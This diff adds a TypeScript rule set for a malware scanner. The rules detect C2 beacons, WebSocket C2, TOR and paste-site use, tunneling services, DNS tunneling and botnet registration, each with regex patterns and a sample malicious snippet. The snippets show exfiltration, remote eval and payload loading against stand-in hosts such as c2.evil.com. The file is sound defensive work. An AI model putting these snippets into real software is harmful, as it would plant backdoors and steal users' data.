secure-scan 1.2.2

package/src/rules/malware/categories/network.ts

@@ -0,0 +1,639 @@
+/**
+ * @fileoverview Suspicious Network and C2 Detection Rules
+ * @module rules/malware/categories/network
+ * 
+ * Comprehensive rules for detecting suspicious network activity including:
+ * - Command and Control (C2) communication
+ * - DNS tunneling
+ * - Botnet patterns
+ * - Suspicious external connections
+ * - Data exfiltration channels
+ */
+
+import {
+  MalwareRule,
+  MalwareThreatType,
+  MalwareCategory,
+  MalwareSeverity,
+  ConfidenceLevel,
+  SupportedLanguage,
+  PatternType,
+  MitreTactic
+} from '../types';
+
+// ============================================================================
+// C2 COMMUNICATION RULES
+// ============================================================================
+
+export const c2Rules: MalwareRule[] = [
+  {
+    id: 'MAL-NET-001',
+    name: 'C2 Communication - Beacon Pattern',
+    description: 'Detects periodic heartbeat/beacon communication with external servers.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.C2_COMMUNICATION,
+    category: MalwareCategory.BOTNET,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 88,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'setinterval-http',
+        pattern: 'setInterval\\s*\\([^)]*(?:fetch|axios|XMLHttpRequest|http)[^)]*,\\s*\\d{4,}\\s*\\)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Periodic HTTP requests'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-loop-http',
+        pattern: 'while\\s+True:[\\s\\S]*?(?:requests\\.|urllib|http\\.client)[\\s\\S]*?time\\.sleep\\s*\\(\\s*\\d+',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Python infinite loop with HTTP and sleep'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'heartbeat-function',
+        pattern: 'function\\s+(?:heartbeat|beacon|ping)\\s*\\([^)]*\\)[\\s\\S]*?(?:fetch|http)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Heartbeat/beacon function'
+      }
+    ],
+    amplifyingPatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'command-response',
+        pattern: '(?:cmd|command|task|job)\\s*[:=]',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'Command/task variables'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `setInterval(async () => {
+  const response = await fetch('https://c2.evil.com/beacon', {
+    method: 'POST',
+    body: JSON.stringify({ id: botId, status: 'alive' })
+  });
+  const cmd = await response.json();
+  if (cmd.task) executeTask(cmd.task);
+}, 30000);`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'C2 beacon with command execution'
+      }
+    ],
+    impact: {
+      technical: 'Maintains persistent connection to command and control server.',
+      business: 'Allows remote control of compromised system.',
+      affectedAssets: ['Network', 'System control'],
+      dataAtRisk: ['All accessible data', 'System control']
+    },
+    remediation: {
+      summary: 'Block C2 communication and remove malware.',
+      steps: [
+        'Block C2 server IPs/domains at network level',
+        'Remove beacon code',
+        'Analyze command history if available',
+        'Check for additional payloads or persistence',
+        'Reset credentials'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.COMMAND_AND_CONTROL,
+        tacticName: 'Command and Control',
+        techniqueId: 'T1071',
+        techniqueName: 'Application Layer Protocol',
+        url: 'https://attack.mitre.org/techniques/T1071/'
+      }
+    ],
+    tags: ['c2', 'beacon', 'heartbeat', 'botnet', 'critical'],
+    enabled: true
+  },
+  {
+    id: 'MAL-NET-002',
+    name: 'C2 Communication - WebSocket Channel',
+    description: 'Detects WebSocket-based C2 communication channels.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.C2_COMMUNICATION,
+    category: MalwareCategory.BOTNET,
+    languages: [SupportedLanguage.JAVASCRIPT, SupportedLanguage.TYPESCRIPT],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 80,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'websocket-external',
+        pattern: 'new\\s+WebSocket\\s*\\([^)]*wss?:\\/\\/(?!localhost|127\\.0\\.0\\.1)',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'WebSocket to external server'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'ws-onmessage-eval',
+        pattern: '\\.onmessage\\s*=\\s*[^;]*\\{[^}]*(?:eval|Function|exec)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'WebSocket message with eval'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'ws-command-handler',
+        pattern: '\\.onmessage[\\s\\S]*?JSON\\.parse[\\s\\S]*?(?:cmd|command|task)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'WebSocket command handler'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const ws = new WebSocket('wss://c2.evil.com/control');
+ws.onmessage = (event) => {
+  const cmd = JSON.parse(event.data);
+  if (cmd.type === 'exec') {
+    eval(cmd.code);
+  }
+};`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'WebSocket C2 with command execution'
+      }
+    ],
+    impact: {
+      technical: 'Real-time bidirectional C2 communication channel.',
+      business: 'Enables real-time remote control and data exfiltration.',
+      affectedAssets: ['Network', 'System'],
+      dataAtRisk: ['Real-time data access']
+    },
+    remediation: {
+      summary: 'Close WebSocket connections and block C2 servers.',
+      steps: [
+        'Close unauthorized WebSocket connections',
+        'Block C2 server at firewall',
+        'Remove malicious code',
+        'Monitor WebSocket usage'
+      ]
+    },
+    tags: ['c2', 'websocket', 'real-time', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// SUSPICIOUS CONNECTION RULES
+// ============================================================================
+
+export const suspiciousConnectionRules: MalwareRule[] = [
+  {
+    id: 'MAL-NET-010',
+    name: 'Suspicious Connection - IP Address Hardcoded',
+    description: 'Detects hardcoded IP addresses in network connections, often used by malware.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
+    category: MalwareCategory.SUSPICIOUS,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.PHP
+    ],
+    severity: MalwareSeverity.MEDIUM,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 60,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'fetch-ip',
+        pattern: '(?:fetch|axios|request|http)\\s*\\([^)]*[\'"]https?:\\/\\/\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'HTTP request to IP address'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'socket-ip',
+        pattern: '(?:socket|connect)\\s*\\([^)]*\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}',
+        flags: 'gi',
+        weight: 0.9,
+        description: 'Socket connection to IP'
+      }
+    ],
+    falsePositivePatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'localhost-ip',
+        pattern: '127\\.0\\.0\\.1|0\\.0\\.0\\.0',
+        flags: 'gi',
+        weight: 0.4,
+        description: 'Localhost addresses'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'config-var',
+        pattern: 'config\\.|process\\.env\\.|settings\\.',
+        flags: 'gi',
+        weight: 0.3,
+        description: 'Configuration variables'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `fetch('http://45.33.32.156:8080/data', { method: 'POST', body: sensitiveData });`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Hardcoded IP data exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Direct connection to IP address bypassing DNS.',
+      business: 'Potential data exfiltration or C2 communication.',
+      affectedAssets: ['Network connections'],
+      dataAtRisk: ['Transmitted data']
+    },
+    remediation: {
+      summary: 'Investigate IP addresses and remove unauthorized connections.',
+      steps: [
+        'Identify the IP addresses and their purpose',
+        'Check IP reputation',
+        'Remove unauthorized connections',
+        'Use domain names with proper validation'
+      ]
+    },
+    tags: ['suspicious-network', 'hardcoded-ip', 'medium'],
+    enabled: true
+  },
+  {
+    id: 'MAL-NET-011',
+    name: 'Suspicious Connection - TOR/I2P/Anonymous Network',
+    description: 'Detects connections to TOR, I2P, or other anonymizing networks.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
+    category: MalwareCategory.SUSPICIOUS,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 75,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'onion-domain',
+        pattern: '\\.onion[/\'"]',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'TOR .onion domain'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'i2p-domain',
+        pattern: '\\.i2p[/\'"]',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'I2P domain'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'tor-proxy',
+        pattern: 'socks[45]?:\\/\\/(?:localhost|127\\.0\\.0\\.1):(?:9050|9150)',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'TOR SOCKS proxy'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const response = await fetch('http://evil3rz44k4pbcm.onion/api/data');`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Connection to TOR hidden service'
+      }
+    ],
+    impact: {
+      technical: 'Anonymous network usage to hide communication.',
+      business: 'Difficult to trace malicious activity.',
+      affectedAssets: ['Network traffic'],
+      dataAtRisk: ['Untraced data exfiltration']
+    },
+    remediation: {
+      summary: 'Block anonymous network connections and investigate usage.',
+      steps: [
+        'Block TOR/I2P at network level',
+        'Remove anonymous network code',
+        'Investigate purpose of anonymous communication',
+        'Monitor for similar patterns'
+      ]
+    },
+    tags: ['tor', 'i2p', 'anonymous', 'suspicious', 'high'],
+    enabled: true
+  },
+  {
+    id: 'MAL-NET-012',
+    name: 'Suspicious Connection - Pastebin/Text Hosting',
+    description: 'Detects connections to paste sites often used for C2 or payload hosting.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
+    category: MalwareCategory.SUSPICIOUS,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON,
+      SupportedLanguage.PHP
+    ],
+    severity: MalwareSeverity.MEDIUM,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 68,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'pastebin-fetch',
+        pattern: '(?:fetch|axios|request|urllib|curl)\\s*\\([^)]*(?:pastebin\\.com|hastebin\\.com|ghostbin\\.com|rentry\\.co|dpaste\\.org)',
+        flags: 'gis',
+        weight: 1.0,
+        description: 'Connection to paste site'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'raw-paste',
+        pattern: 'pastebin\\.com\\/raw\\/|raw\\.githubusercontent\\.com',
+        flags: 'gi',
+        weight: 0.9,
+        description: 'Raw paste content fetch'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const payload = await fetch('https://pastebin.com/raw/Ej8kL9mN').then(r => r.text());
+eval(payload);`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Pastebin payload loading'
+      }
+    ],
+    impact: {
+      technical: 'Uses public paste sites for payload hosting or C2.',
+      business: 'Common malware delivery mechanism.',
+      affectedAssets: ['Application'],
+      dataAtRisk: ['Depends on payload']
+    },
+    remediation: {
+      summary: 'Block paste site connections and remove payload loading code.',
+      steps: [
+        'Remove paste site connections',
+        'Analyze fetched content',
+        'Block paste sites at network level if appropriate'
+      ]
+    },
+    tags: ['pastebin', 'paste-site', 'c2', 'medium'],
+    enabled: true
+  },
+  {
+    id: 'MAL-NET-013',
+    name: 'Suspicious Connection - Tunneling Service',
+    description: 'Detects connections to ngrok, serveo, or other tunneling services.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.SUSPICIOUS_NETWORK,
+    category: MalwareCategory.SUSPICIOUS,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.MEDIUM,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 65,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'ngrok-domain',
+        pattern: '(?:ngrok\\.io|serveo\\.net|localhost\\.run|localtunnel\\.me)',
+        flags: 'gi',
+        weight: 1.0,
+        description: 'Tunneling service domain'
+      }
+    ],
+    falsePositivePatterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'dev-comment',
+        pattern: '\\/\\/.*(?:ngrok|tunnel)|#.*(?:ngrok|tunnel)',
+        flags: 'gi',
+        weight: 0.3,
+        description: 'Development comment'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `fetch('https://abc123.ngrok.io/exfil', { method: 'POST', body: data });`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Data exfiltration via ngrok tunnel'
+      }
+    ],
+    impact: {
+      technical: 'Uses tunneling services to bypass network restrictions.',
+      business: 'Data exfiltration bypassing firewall rules.',
+      affectedAssets: ['Network security'],
+      dataAtRisk: ['Exfiltrated data']
+    },
+    remediation: {
+      summary: 'Block tunneling services and remove connections.',
+      steps: [
+        'Remove tunneling service connections',
+        'Block tunneling domains at network level',
+        'Investigate data being transmitted'
+      ]
+    },
+    tags: ['ngrok', 'tunnel', 'bypass', 'medium'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// DNS TUNNELING RULES
+// ============================================================================
+
+export const dnsTunnelingRules: MalwareRule[] = [
+  {
+    id: 'MAL-NET-020',
+    name: 'DNS Tunneling - Subdomain Data Encoding',
+    description: 'Detects patterns indicative of DNS tunneling for data exfiltration.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.DNS_TUNNELING,
+    category: MalwareCategory.BOTNET,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.HIGH,
+    confidence: ConfidenceLevel.MEDIUM,
+    baseScore: 72,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'dns-lookup-data',
+        pattern: 'dns\\.(?:resolve|lookup)\\s*\\([^)]*[+]|dns\\.resolve[\\s\\S]*?(?:btoa|base64|hex)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'DNS lookup with data encoding'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'subdomain-chunking',
+        pattern: '\\.(?:match|substring|slice)\\s*\\([^)]*\\)[\\s\\S]{0,50}\\.dns|\\.[a-z0-9]{20,}\\.',
+        flags: 'gis',
+        weight: 0.7,
+        description: 'Subdomain data chunking'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'python-dns-tunnel',
+        pattern: 'dns\\.resolver[\\s\\S]*?query\\s*\\([^)]*\\+',
+        flags: 'gis',
+        weight: 0.8,
+        description: 'Python DNS query with data'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const data = btoa(sensitiveInfo);
+for (let i = 0; i < data.length; i += 63) {
+  const chunk = data.substring(i, i + 63);
+  dns.resolve(\`\${chunk}.exfil.evil.com\`, 'TXT', () => {});
+}`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'DNS tunneling data exfiltration'
+      }
+    ],
+    impact: {
+      technical: 'Uses DNS protocol for covert data exfiltration.',
+      business: 'Bypasses traditional network monitoring.',
+      affectedAssets: ['DNS traffic', 'Network'],
+      dataAtRisk: ['Exfiltrated sensitive data']
+    },
+    remediation: {
+      summary: 'Monitor DNS traffic and block DNS tunneling domains.',
+      steps: [
+        'Remove DNS tunneling code',
+        'Implement DNS monitoring for anomalous queries',
+        'Block identified tunneling domains',
+        'Use DNS security solutions'
+      ]
+    },
+    mitreAttack: [
+      {
+        tacticId: MitreTactic.COMMAND_AND_CONTROL,
+        tacticName: 'Command and Control',
+        techniqueId: 'T1071.004',
+        techniqueName: 'DNS',
+        url: 'https://attack.mitre.org/techniques/T1071/004/'
+      }
+    ],
+    tags: ['dns-tunneling', 'exfiltration', 'covert-channel', 'high'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// BOTNET RULES
+// ============================================================================
+
+export const botnetRules: MalwareRule[] = [
+  {
+    id: 'MAL-NET-030',
+    name: 'Botnet - Client Registration',
+    description: 'Detects bot registration patterns with C2 server.',
+    version: '2.0.0',
+    threatType: MalwareThreatType.BOTNET,
+    category: MalwareCategory.BOTNET,
+    languages: [
+      SupportedLanguage.JAVASCRIPT,
+      SupportedLanguage.TYPESCRIPT,
+      SupportedLanguage.PYTHON
+    ],
+    severity: MalwareSeverity.CRITICAL,
+    confidence: ConfidenceLevel.HIGH,
+    baseScore: 85,
+    patterns: [
+      {
+        type: PatternType.REGEX,
+        patternId: 'bot-registration',
+        pattern: '(?:bot[-_]?id|client[-_]?id|uuid)[\\s\\S]*?(?:fetch|post|send)[\\s\\S]*?(?:register|join|connect)',
+        flags: 'gis',
+        weight: 0.9,
+        description: 'Bot registration pattern'
+      },
+      {
+        type: PatternType.REGEX,
+        patternId: 'bot-info-collect',
+        pattern: '(?:navigator\\.userAgent|os\\.platform|hostname)[\\s\\S]*?(?:fetch|post|send)',
+        flags: 'gis',
+        weight: 0.7,
+        description: 'System info collection and send'
+      }
+    ],
+    maliciousExamples: [
+      {
+        code: `const botId = crypto.randomUUID();
+const info = {
+  id: botId,
+  platform: navigator.platform,
+  ua: navigator.userAgent
+};
+fetch('https://botnet.evil.com/register', {
+  method: 'POST',
+  body: JSON.stringify(info)
+});`,
+        language: SupportedLanguage.JAVASCRIPT,
+        isMalicious: true,
+        description: 'Bot registration with system info'
+      }
+    ],
+    impact: {
+      technical: 'Enrolls system as bot in botnet.',
+      business: 'System becomes part of criminal infrastructure.',
+      affectedAssets: ['System', 'Network'],
+      dataAtRisk: ['System resources', 'Network bandwidth']
+    },
+    remediation: {
+      summary: 'Remove botnet code and block C2 infrastructure.',
+      steps: [
+        'Remove bot registration code',
+        'Block botnet C2 servers',
+        'Scan for additional malware',
+        'Reset credentials'
+      ]
+    },
+    tags: ['botnet', 'registration', 'c2', 'critical'],
+    enabled: true
+  }
+];
+
+// ============================================================================
+// EXPORT ALL NETWORK RULES
+// ============================================================================
+
+export const networkRules: MalwareRule[] = [
+  ...c2Rules,
+  ...suspiciousConnectionRules,
+  ...dnsTunnelingRules,
+  ...botnetRules
+];
+
+export default networkRules;